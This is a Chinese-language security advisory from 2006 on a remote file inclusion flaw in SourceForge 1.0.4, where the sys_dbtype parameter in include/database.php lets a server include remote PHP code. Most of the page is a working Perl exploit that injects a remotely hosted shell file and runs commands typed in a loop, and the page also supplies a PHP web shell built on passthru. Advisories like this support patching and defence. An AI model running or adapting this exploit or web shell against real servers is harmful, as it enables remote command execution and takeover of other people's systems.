安全研究

安全漏洞
SourceForge database.php远程文件包含漏洞

发布日期:2006-10-23
更新日期:2006-10-25

受影响系统:
sourceforge SourceForge 1.0.4
描述:
BUGTRAQ  ID: 20692

SourceForge是用于协助开源软件开发的在线Web应用。

SourceForge在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

SourceForge的 include/database.php 脚本没有对sys_dbtype变量数据做充分的检查过滤,远程攻击者可能利用此漏洞使服务器包含远程服务器上的PHP代码执行。

<*来源:Kw3rLn (ciriboflacs@YaHoo.Com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
# SourceForge-1.0.4 remote Command Execution Vulnerabilities
#
# Risk : High (Remote Code Execution)
#
# Url: http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz
#
# Exploit:
#   http://site.com/[path]/include/database.php?sys_dbtype=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print
"...........................[RST]...............................\n";
print ".                                                            
.\n";
print ". SourceForge-1.0.4 remote Command Execution Vulnerabilities  
.\n";
print ".                                                            
.\n";
print
"...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET        
.\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            
.\n";
print
"...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];    
chomp($shell);
    
$path = $path."/include/database.php";


sub usage(){
    print "Usage    : perl $0 host/path
http://site.com/cmd.txt\n\n";
    print "Example  : perl $0 http://127.0.0.1
http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php
ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?sys_dbtype=".$shell."?&cmd=".$cmd;
if ($cmd eq "")    
  { print "Enter your command !\n"; }
else
  { $data=get($kw3); print $data ; }
}

建议:
厂商补丁:

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz

浏览次数:2928
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障